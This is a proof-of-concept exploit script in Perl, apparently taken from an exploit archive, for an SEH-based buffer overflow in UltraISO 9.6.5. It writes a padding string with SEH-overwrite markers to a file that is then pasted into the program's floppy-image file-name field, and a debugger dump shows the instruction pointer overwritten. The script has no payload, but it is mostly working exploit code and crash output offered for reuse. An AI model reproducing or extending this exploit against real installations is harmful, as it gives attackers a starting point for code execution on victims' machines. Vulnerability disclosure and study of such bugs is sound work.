UltraIso v 9.6.5 - Buffer Overflow Vulnerability

#***********************************************************#
#!/usr/bin/perl                                             #
#Title : UltraIso v 9.6.5 - Buffer Overflow Vulnerability   #
#Author : ZwX                                               #
#Date : 24/10/2015                                          #
#Vendor : https://www.ezbsystems.com/                       #
#Download : http://www.ezbsystems.com/ultraiso/download.htm #
#Tested Os : Windows 7                                      #
#***********************************************************#

#***************************************#
# steps to reproduce the vulnerability  #
#***************************************#

print "Run UltraISO -> Go Menu Bootable -> Click Create A Floppy Disk Picture\n";
print "Copy  the AAAA...string from bof.txt to clipboard\n";
print "Paste it the input Name File AAAA....string click Create\n";
sleep(2);

my $buff = "\x41" x 1168;
my $nseh = "\x42" x 4;
my $seh = "\x43" x 4;

my $poc = $buff.$nseh.$seh;
open (myfile, '>bof.txt');
print myfile $poc;

#********************************************************************************#
#Access violation - code c0000005 (first chance)                                 #
#First chance exceptions are reported before any exception handling.             #
#This exception may be expected and handled.                                     #
#eax=00000000 ebx=00000000 ecx=42424242 edx=77a472cd esi=00000000 edi=00000000   #
#eip=42424242 esp=0012e4e8 ebp=0012e508 iopl=0         nv up ei pl zr na pe nc   #
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246   #
#42424242 ??              ???                                                    #
#0:000> !exchain                                                                 #
#0012e4fc: ntdll!RtlRaiseStatus+c8 (775c72cd)                                    #
#0012ed74: 42424242                                                              #
#Invalid exception stack at 41414141                                             #
#********************************************************************************#

print "POC Create by ZwX";
print "My Site : http//zwx.fr";

#  0day.today [2018-03-13]  #